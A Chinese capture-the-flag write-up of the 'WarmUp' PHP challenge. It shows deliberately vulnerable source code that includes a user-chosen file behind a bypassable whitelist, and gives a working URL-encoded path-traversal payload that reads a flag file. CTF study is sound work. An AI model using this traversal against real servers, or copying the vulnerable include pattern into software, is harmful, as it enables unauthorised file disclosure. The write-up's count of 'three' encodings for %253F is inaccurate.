WarmUp

首先启动环境,发现滑稽图;没有什么好说的crtl+u查看源码:
avatar

得到提示:source.php

通过URL访问一下 得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

得知是PHP代码审计题

通过代码审计可以得到还有一个hint.php 访问得到:
flag not here, and flag in ffffllllaaaagggg

所以考虑最后的payload需要用到ffffllllaaaagggg

并且得到参数名称为file

1
2
3
4
5
6
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;

关键代码,得知file变量不能为空,必须是字符串,还必须通过checkFile的检查
经过查询函数:mb_strpos和mb_substr 的意思是截取变量page中?前面的字符串进行白名单校验
所以source.php和hint.php均在白名单内,随意取一个构造payload:
1
?file=hint.php?/../../../../../../../../../../../../../../../ffffllllaaaagggg

发现无法通过,是因为进行了三次检查,所以考虑URL编码问题,把?进行URL编码(注意使用英文?)
进行三次编码后?变为:%253F
构造payload:
1
file=hint.php%253F/../../../../../../../../../../../../../../../ffffllllaaaagggg

得到flag